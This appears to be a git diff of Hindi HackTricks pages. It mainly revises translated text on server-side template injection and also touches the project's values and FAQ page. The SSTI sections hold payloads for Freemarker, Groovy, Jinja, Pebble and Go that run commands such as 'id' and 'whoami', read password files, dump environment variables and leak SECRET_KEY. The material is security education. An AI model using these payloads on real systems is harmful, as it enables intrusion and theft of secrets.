यदि कोई बिल्टिन सेल्फ ऑब्जेक्ट नहीं है तो आपको [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) और Burp Intruder के शब्द संग्रह का उपयोग करके वेरिएबल नामों को ब्रूटफोर्स करना होगा।
डेवलपर-प्रदत्त ऑब्जेक्ट्स में विशेष रूप से संवेदनशील जानकारी होने की संभावना होती है, और यह एक एप्लिकेशन के भीतर विभिन्न टेम्प्लेट्स के बीच भिन्न हो सकती है, इसलिए यह प्रक्रिया आदर्श रूप से प्रत्येक विशिष्ट टेम्प्लेट पर व्यक्तिगत रूप से लागू की जानी चाहिए।
डेवलपर-प्रदत्त ऑब्जेक्ट्स में संवेदनशील जानकारी होने की संभावना अधिक होती है, और यह एक एप्लिकेशन के भीतर विभिन्न टेम्प्लेट्स के बीच भिन्न हो सकती है, इसलिए यह प्रक्रिया आदर्श रूप से प्रत्येक विशिष्ट टेम्प्लेट पर व्यक्तिगत रूप से लागू की जानी चाहिए।
**आक्रमण**
इस बिंदु पर आपके पास आपके लिए उपलब्ध **हमले की सतह का दृढ़ विचार** होना चाहिए और आप पारंपरिक सुरक्षा ऑडिट तकनीकों के साथ आगे बढ़ सकते हैं, प्रत्येक फंक्शन की समीक्षा करते हुए शोषण योग्य कमजोरियों के लिए। यह महत्वपूर्ण है कि इसे व्यापक एप्लिकेशन के संदर्भ में संपर्क किया जाए - कुछ फंक्शन्स का उपयोग एप्लिकेशन-विशिष्ट सुविधाओं का शोषण करने के लिए किया जा सकता है। आगे दिए गए उदाहरण टेम्प्लेट इंजेक्शन का उपयोग करके मनमानी ऑब्जेक्ट सृजन, मनमानी फाइल पढ़ने/लिखने, रिमोट फाइल शामिल, सूचना प्रकटीकरण और विशेषाधिकार वृद्धि कमजोरियों को ट्रिगर करने के लिए करेंगे।
इस बिंदु पर आपके पास आपके लिए उपलब्ध **हमले की सतह का दृढ़ विचार** होना चाहिए और आप पारंपरिक सुरक्षा ऑडिट तकनीकों के साथ आगे बढ़ने में सक्षम होना चाहिए, प्रत्येक फंक्शन की समीक्षा करना शोषण योग्य कमजोरियों के लिए। यह महत्वपूर्ण है कि इसे व्यापक एप्लिकेशन के संदर्भ में संपर्क किया जाए - कुछ फंक्शन्स का उपयोग एप्लिकेशन-विशिष्ट सुविधाओं का शोषण करने के लिए किया जा सकता है। आगे दिए गए उदाहरण टेम्प्लेट इंजेक्शन का उपयोग करके मनमानी ऑब्जेक्ट सृजन, मनमानी फाइल पढ़ने/लिखने, रिमोट फाइल शामिल, सूचना प्रकटीकरण और विशेषाधिकार वृद्धि कमजोरियों को ट्रिगर करने के लिए करेंगे।
## उपकरण
@ -144,7 +144,7 @@ ${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
**Java - सिस्टम के पर्यावरण चर को प्राप्त करें**
**Java - सिस्टम के पर्यावरण वेरिएबल्स को प्राप्त करें**
```java
${T(java.lang.System).getenv()}
```
@ -170,9 +170,9 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - सैंडबॉक्स बाईपास**
**Freemarker - Sandbox बाईपास**
⚠️ केवल Freemarker के 2.3.30 से नीचे के संस्करणों पर काम करता है
⚠️ केवल Freemarker संस्करण 2.3.30 से नीचे पर काम करता है
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
@ -305,6 +305,7 @@ Pebble का पुराना संस्करण ( < संस्करण
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
@ -322,6 +323,8 @@ Pebble का पुराना संस्करण ( < संस्करण
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, उपलब्ध है [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
**Jinjava - कमांड निष्पादन**
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) द्वारा ठीक किया गया
@ -407,8 +410,8 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
EL प्रस्तुति परत (वेब पेज) को एप्लिकेशन लॉजिक (मैनेज्ड बीन्स) के साथ संवाद करने के लिए एक महत्वपूर्ण तंत्र प्रदान करता है। EL का उपयोग **कई JavaEE तकनीकों** द्वारा किया जाता है, जैसे कि JavaServer Faces तकनीक, JavaServer Pages (JSP) तकनीक, और Java EE के लिए Contexts और Dependency Injection (CDI).\
निम्नलिखित पृष्ठ पर जाएं और **EL इंटरप्रेटर्स के शोषण** के बारे में और जानें:
EL प्रस्तुति परत (वेब पेजेस) को एप्लिकेशन लॉजिक (मैनेज्ड बीन्स) के साथ संवाद करने के लिए एक महत्वपूर्ण तंत्र प्रदान करता है। EL का उपयोग **कई JavaEE तकनीकों** द्वारा किया जाता है, जैसे कि JavaServer Faces तकनीक, JavaServer Pages (JSP) तकनीक, और Java EE के लिए Contexts और Dependency Injection (CDI)\
निम्नलिखित पेज पर जाकर EL इंटरप्रेटर्स के **शोषण** के बारे में और जानें:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
@ -416,7 +419,7 @@ EL प्रस्तुति परत (वेब पेज) को एप्
### Groovy (Java)
यह Security Manager बायपास इस [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) से लिया गया था।
यह Security Manager बायपास इस [**राइटअप**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) से लिया गया था।
```java
//Basic Payload
import groovy.*;
@ -443,7 +446,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में साइबर सुरक्षा की सबसे महत्वपूर्ण घटना है और **यूरोप** में सबसे प्रमुख में से एक है। **तकनीकी ज्ञान को बढ़ावा देने के मिशन** के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए हर अनुशासन में एक उबलता मिलन बिंदु है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में साइबर सुरक्षा की सबसे महत्वपूर्ण घटना है और **यूरोप** में सबसे प्रमुख में से एक है। **तकनीकी ज्ञान को बढ़ावा देने के मिशन** के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए हर अनुशासन में एक उबलता मिलन बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
@ -467,7 +470,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Error`
* `{{1/0}} = त्रुटि`
* `{{foobar}} कुछ नहीं`
```python
#Get Info
@ -511,7 +514,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
Plates Twig से प्रेरित है लेकिन यह एक मूल PHP टेम्प्लेट इंजन है, संकलित टेम्प्लेट इंजन के बजाय।
Plates Twig से प्रेरित है लेकिन यह एक मूल PHP टेम्प्लेट इंजन है जो कि एक संकलित टेम्प्लेट इंजन के बजाय है
controller:
```php
@ -615,7 +618,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) एक गैर-संकलन PHP टेम्प्लेटिंग इंजन है, जो XML टैग्स का उपयोग करके एक दस्तावेज़ को विभिन्न भागों में विभाजित करता है
> [patTemplate](https://github.com/wernerwa/pat-template) एक गैर-संकलन PHP टेम्प्लेटिंग इंजन है, जो XML टैग्स का उपयोग करके एक दस्तावेज़ को विभिन्न भागों में विभाजित करता है
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -668,10 +671,10 @@ URLencoded:
| **टेम्प्लेट** | **विवरण** |
| ------------ | --------------------------------------- |
| | आउटपुट का मूल्यांकन और रेंडर करें |
| | आउटपुट का मूल्यांकन और रेंडर करें |
| | HTML एनकोडेड आउटपुट का मूल्यांकन और रेंडर करें |
| | टिप्पणी |
| and | कोड की अनुमति (डिफ़ॉल्ट रूप से निष्क्रिय) |
| and | कोड की अनुमति (डिफ़ॉल्ट द्वारा अक्षम) |
* \= 49
@ -743,9 +746,11 @@ home = pugjs.render(injected_page)
```
**अधिक जानकारी**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Python
निम्नलिखित पृष्ठ पर जाएं और **arbitrary command execution bypassing sandboxes** के बारे में ट्रिक्स सीखें python में:
पायथन में **arbitrary command execution bypassing sandboxes** के बारे में जानने के लिए निम्नलिखित पृष्ठ देखें:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -770,6 +775,7 @@ home = pugjs.render(injected_page)
{{os.system('whoami')}}
{{os.system('whoami')}}
```
@ -800,6 +806,7 @@ home = pugjs.render(injected_page)
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
@ -879,36 +886,36 @@ ${x}
### Mojolicious (Perl)
यहाँ तक कि यदि यह Perl है तो यह Ruby के ERB जैसे टैग्स का उपयोग करता है।
यह Perl है पर इसमें Ruby की ERB जैसे टैग्स का उपयोग होता है।
* `<%= 7*7 %> = 49`
* `<%= foobar %> = त्रुटि`
* `<%= foobar %> = Error`
```
<%= perl code %>
<% perl code %>
```
### GO में SSTI
### SSTI in GO
यह पुष्टि करने के लिए कि बैकएंड में उपयोग किया गया टेम्प्लेट इंजन Go है, आप इन पेलोड्स का उपयोग कर सकते हैं:
GO में पुष्टि करने के लिए कि बैकएंड में उपयोग किया गया टेम्प्लेट इंजन Go है, आप इन पेलोड्स का उपयोग कर सकते हैं:
* `{{ . }}` = डेटा संरचना जो टेम्प्लेट में इनपुट के रूप में पास की जा रही है
* यदि पास किया गया डेटा एक ऑब्जेक्ट है जिसमें Password नामक एट्रिब्यूट है, तो पिछला पेलोड इसे लीक कर देगा, लेकिन आप यह भी कर सकते हैं: `{{ .Password }}`
* `{{printf "%s" "ssti" }}` = इससे रिस्पॉन्स में ssti स्ट्रिंग का आउटपुट होना चाहिए
* `{{html "ssti"}}`, `{{js "ssti"}}` = ये कुछ अन्य पेलोड्स हैं जो "ssti" स्ट्रिंग को "js" या "html" शब्दों के बिना आउटपुट करना चाहिए। इंजन में और अधिक कीवर्ड्स के लिए आप [यहाँ](https://golang.org/pkg/text/template) देख सकते हैं।
* यदि पास किया गया डेटा एक ऑब्जेक्ट है जिसमें Password विशेषता है, तो पिछला पेलोड इसे लीक कर देगा, लेकिन आप यह भी कर सकते हैं: `{{ .Password }}`
* `{{printf "%s" "ssti" }}` = प्रतिक्रिया में ssti स्ट्रिंग को आउटपुट करना चाहिए
* `{{html "ssti"}}`, `{{js "ssti"}}` = ये कुछ अन्य पेलोड्स हैं जो "ssti" स्ट्रिंग को "js" या "html" शब्दों के बिना आउटपुट करना चाहिए। आप इंजन में और अधिक कीवर्ड्स के लिए [यहाँ](https://golang.org/pkg/text/template) देख सकते हैं।
**XSS शोषण**
यदि सर्वर **text/template** पैकेज का उपयोग कर रहा है, तो XSS को प्राप्त करना बहुत आसान है **केवल** अपने **पेलोड** को इनपुट के रूप में प्रदान करके। हालांकि, यह **html/template** के साथ नहीं है क्योंकि यह HTML एनकोड्स का रिस्पॉन्स करता है: `{{"<script>alert(1)</script>"}}` --> `&lt;script&gt;alert(1)&lt;/script&gt;`
यदि सर्वर **text/template** पैकेज का उपयोग कर रहा है, तो XSS को प्राप्त करना बहुत आसान है **केवल** अपने **पेलोड** को इनपुट के रूप में प्रदान करके। हालांकि, यह html/template के साथ **नहीं है** क्योंकि यह HTML एनकोड्स प्रतिक्रिया करता है: `{{"<script>alert(1)</script>"}}` --> `&lt;script&gt;alert(1)&lt;/script&gt;`
हालांकि, Go आपको पूरा **टेम्प्लेट** **DEFINE** करने और फिर **बाद में इसे कॉल करने** की अनुमति देता है। पेलोड कुछ इस तरह होगा:\
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
**RCE शोषण**
html/template मॉड्यूल के लिए दस्तावेज़ [यहाँ](https://golang.org/pkg/html/template/) पाया जा सकता है, और text/template मॉड्यूल के लिए दस्तावेज़ [यहाँ](https://golang.org/pkg/text/template/) पाया जा सकता है, और हाँ, वे बहुत भिन्न होते हैं। उदाहरण के लिए, **text/template** में, आप **किसी भी सार्वजनिक फ़ंक्शन को “call” मान के साथ सीधे कॉल कर सकते हैं**, हालांकि, यह html/template के साथ संभव नहीं है।
html/template मॉड्यूल के लिए दस्तावेज़ [यहाँ](https://golang.org/pkg/html/template/) पाया जा सकता है, और text/template मॉड्यूल के लिए दस्तावेज़ [यहाँ](https://golang.org/pkg/text/template/) पाया जा सकता है, और हाँ, वे बहुत भिन्न होते हैं। उदाहरण के लिए, **text/template** में, आप **किसी भी सार्वजनिक फ़ंक्शन को “call” मान के साथ सीधे कॉल कर सकते हैं**, हालांकि, html/template के साथ ऐसा नहीं है।
यदि आप GO में SSTI के माध्यम से RCE खोजना चाहते हैं, तो आपको पता होना चाहिए कि जैसे आप टेम्प्लेट को दिए गए ऑब्जेक्ट को `{{ . }}` के साथ एक्सेस कर सकते हैं, आप **ऑब्जेक्ट के मेथड्स को भी कॉल कर सकते हैं**। तो, कल्पना कीजिए कि **पास किए गए ऑब्जेक्ट में System नामक एक मेथड है** जो दिए गए कमांड को निष्पादित करता है, आप इसका दुरुपयोग कर सकते हैं: `{{ .System "ls" }}`\
इसलिए, आपको शायद **सोर्स कोड की आवश्यकता होगी**। इस तरह की कुछ के लिए संभावित सोर्स कोड इस तरह दिखेगा:
यदि आप GO के माध्यम से SSTI के जरिए RCE खोजना चाहते हैं, तो आपको पता होना चाहिए कि जैसे आप टेम्प्लेट को दिए गए ऑब्जेक्ट को `{{ . }}` के साथ एक्सेस कर सकते हैं, आप **ऑब्जेक्ट के मेथड्स को भी कॉल कर सकते हैं**। तो, कल्पना कीजिए कि **पास किए गए ऑब्जेक्ट में System नामक एक मेथड है** जो दिए गए कमांड को निष्पादित करता है, आप इसका दुरुपयोग कर सकते हैं: `{{ .System "ls" }}`\
इसलिए, आपको शायद **स्रोत कोड की आवश्यकता होगी**। इस तरह की कुछ चीज़ के लिए संभावित स्रोत कोड इस तरह दिखेगा:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -917,36 +924,60 @@ return string(out)
```
**अधिक जानकारी**
### और एक्सप्लॉइट्स
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) पर जाकर और एक्सप्लॉइट्स देखें। [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) में दिलचस्प टैग्स की जानकारी भी मिल सकती है।
### अधिक Exploits
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) पर जाकर और अधिक exploits देखें। आप [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) में रोचक tags की जानकारी भी पा सकते हैं।
## BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
## संबंधित सहायता
यदि आपको लगता है कि यह उपयोगी हो सकता है, तो पढ़ें:
* [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
* [Python magic functions](broken-reference/)
## उपकरण
## ब्रूट-फोर्स डिटेक्शन सूची
{% embed url="https://github.com/Hackmanit/TInjA" %}
{% embed url="https://github.com/vladko312/sstimap" %}
{% embed url="https://github.com/epinna/tplmap" %}
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## अभ्यास और संदर्भ
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे महत्वपूर्ण साइबर सुरक्षा इवेंट है और **यूरोप** में भी एक प्रमुख है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबलता मिलन स्थल है।
[**RootedCON**](https://www.rootedcon.com/) **Spain** में सबसे महत्वपूर्ण साइबर सुरक्षा इवेंट है और **Europe** में एक प्रमुख इवेंट है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर विषय में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक संगम स्थल है।
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें!</strong></summary>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में **शामिल हों** या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का पालन करें**
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
</details>

View file

@ -1,4 +1,4 @@
# HackTricks मूल्य और faq
# HackTricks मूल्य और FAQ
<details>
@ -6,11 +6,11 @@
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **अपनी हैकिंग ट्रिक्स साझा करें PRs भेजकर** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में.
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का
* **Discord समूह** 💬 [**में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **अपनी हैकिंग ट्रिक्स साझा करें, PRs भेजकर** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में.
</details>
@ -19,34 +19,34 @@ HackTricks का समर्थन करने के अन्य तरी
{% hint style="success" %}
ये हैं **HackTricks प्रोजेक्ट के मूल्य**:
* सभी इंटरनेट को **शिक्षात्मक हैकिंग** संसाधनों तक **निःशुल्क** पहुंच प्रदान करें
* हैकिंग सीखने के बारे में है, और सीखना जितना संभव हो सके निःशुल्क होना चाहिए
* इस पुस्तक का उद्देश्य एक व्यापक **शिक्षात्मक संसाधन** के रूप में कार्य करना है
* समुदाय द्वारा प्रकाशित शानदार **हैकिंग** तकनीकों को **संग्रहित** करें और **मूल** **लेखकों** को सभी **श्रेय** दें।
* **हम दूसरे लोगों का श्रेय नहीं चाहते**, हम सिर्फ सभी के लिए अच्छी ट्रिक्स संग्रहित करना चाहते हैं।
* हम HackTricks में **अपने स्वयं के शोध भी लिखते हैं**
* कई मामलों में हम सिर्फ HackTricks में तकनीक के महत्वपूर्ण भागों का **सारांश लिखेंगे** और **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे** अधिक जानकारी के लिए।
* पुस्तक में सभी हैकिंग तकनीकों को **व्यवस्थित करें** ताकि यह **अधिक सुलभ हो**
* HackTricks टीम ने हजारों घंटे निःशुल्क समर्पित किए हैं **केवल सामग्री को व्यवस्थित करने के लिए** ताकि लोग **तेजी से सीख सकें**
* सभी इंटरनेट को **शिक्षात्मक हैकिंग** संसाधनों तक **निःशुल्क** पहुंच प्रदान करें.
* हैकिंग सीखने के बारे में है, और सीखना जितना संभव हो सके निःशुल्क होना चाहिए.
* इस पुस्तक का उद्देश्य एक व्यापक **शिक्षात्मक संसाधन** के रूप में कार्य करना है.
* समुदाय द्वारा प्रकाशित **शानदार हैकिंग** तकनीकों को **संग्रहित करें** और सभी **मूल लेखकों** को पूरा **श्रेय** दें.
* **हम दूसरे लोगों का श्रेय नहीं चाहते**, हम सिर्फ सभी के लिए कूल ट्रिक्स संग्रहित करना चाहते हैं.
* हम HackTricks में **अपने स्वयं के शोध भी लिखते हैं**.
* कई मामलों में हम सिर्फ **HackTricks में तकनीक के महत्वपूर्ण भागों का सारांश लिखेंगे** और **पाठक को मूल पोस्ट पर अधिक विवरण के लिए जाने के लिए प्रोत्साहित करेंगे**.
* पुस्तक में सभी हैकिंग तकनीकों को **अधिक सुलभ** बनाने के लिए **व्यवस्थित करें**
* HackTricks टीम ने सिर्फ सामग्री को व्यवस्थित करने के लिए हजारों घंटे निःशुल्क समर्पित किए हैं ताकि लोग **तेजी से सीख सकें**
{% endhint %}
<figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## HackTricks faq
## HackTricks FAQ
{% hint style="success" %}
* **इन संसाधनों के लिए धन्यवाद, मैं आपको कैसे धन्यवाद दे सकता हूँ?**
{% endhint %}
आप HackTricks टीमों को इन सभी संसाधनों को एक साथ रखने के लिए सार्वजनिक रूप से एक ट्वीट में उल्लेख करके धन्यवाद दे सकते हैं [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
आप सार्वजनिक रूप से HackTricks टीमों को इन सभी संसाधनों को एक साथ रखने के लिए एक ट्वीट में उल्लेख करके धन्यवाद दे सकते हैं [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
यदि आप विशेष रूप से आभारी हैं तो आप [**यहाँ प्रोजेक्ट को प्रायोजित कर सकते हैं**](https://github.com/sponsors/carlospolop).\
और Github प्रोजेक्ट्स में **स्टार देना न भूलें!** (नीचे लिंक्स मिलेंगे).
और Github प्रोजेक्ट्स में **स्टार देना न भूलें!** (नीचे लिंक्स देखें).
{% hint style="success" %}
* **मैं प्रोजेक्ट में कैसे योगदान दे सकता हूँ?**
{% endhint %}
आप **नई टिप्स और ट्रिक्स साझा कर सकते हैं समुदाय के साथ या पुस्तकों में पाए गए बग्स को ठीक कर सकते हैं** एक **Pull Request** भेजकर संबंधित Github पेजों पर:&#x20;
आप समुदाय के साथ नई टिप्स और ट्रिक्स साझा कर सकते हैं या पुस्तकों में पाए गए बग्स को ठीक कर सकते हैं, एक **Pull Request** भेजकर संबंधित Github पेजों पर:
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -57,13 +57,27 @@ Github प्रोजेक्ट्स में **स्टार देन
* **क्या मैं HackTricks से कुछ सामग्री को कॉपी करके अपने ब्लॉग में डाल सकता हूँ?**
{% endhint %}
हाँ, आप कर सकते हैं, लेकिन **विशिष्ट लिंक(स) का उल्लेख करना न भूलें** जहाँ से सामग्री ली गई थी
हाँ, आप कर सकते हैं, लेकिन **विशिष्ट लिंक(स) का उल्लेख करना न भूलें** जहाँ से सामग्री ली गई थी.
{% hint style="warning" %}
* **क्या मैं अपने ब्लॉग में सारी HackTricks को कॉपी कर सकता हूँ?**
{% hint style="success" %}
* **मैं HackTricks के एक पृष्ठ को कैसे उद्धृत कर सकता हूँ?**
{% endhint %}
**मैं ऐसा नहीं चाहूंगा**। यह **किसी के लिए भी लाभकारी नहीं होगा** क्योंकि सारी **सामग्री पहले से ही सार्वजनिक रूप से उपलब्ध है** आधिकारिक HackTricks पुस्तकों में मुफ्त के लिए।
जब तक पृष्ठ(ओं) का लिंक **जहाँ से आपने जानकारी ली है** दिखाई देता है, यह पर्याप्त है.\
यदि आपको एक bibtex की आवश्यकता है तो आप इस तरह कुछ उपयोग कर सकते हैं:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page},
year = {Year of Last Update (check it at the end of the page)},
url = {\url{https://book.hacktricks.xyz/specific-page}},
}
```
{% hint style="warning" %}
* **क्या मैं अपने ब्लॉग में सभी HackTricks की प्रतिलिपि बना सकता हूँ?**
{% endhint %}
**मैं ऐसा पसंद नहीं करूंगा**। यह **किसी के लिए भी लाभकारी नहीं होगा** क्योंकि सभी **सामग्री पहले से ही सार्वजनिक रूप से उपलब्ध है** आधिकारिक HackTricks पुस्तकों में मुफ्त के लिए।
यदि आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github में फोर्क करें या इसे डाउनलोड करें, जैसा कि मैंने कहा यह पहले से ही मुफ्त है।
@ -71,22 +85,47 @@ Github प्रोजेक्ट्स में **स्टार देन
* **आपके पास प्रायोजक क्यों हैं? क्या HackTricks पुस्तकें व्यावसायिक उद्देश्यों के लिए हैं?**
{% endhint %}
पहला **HackTricks** **मूल्य** दुनिया भर में **सभी** को **निःशुल्क** हैकिंग शिक्षात्मक संसाधन प्रदान करना है। HackTricks टीम ने इस सामग्री को प्रदान करने के लिए **हजारों घंटे समर्पित किए हैं**, फिर से, **निःशुल्क** के लिए।
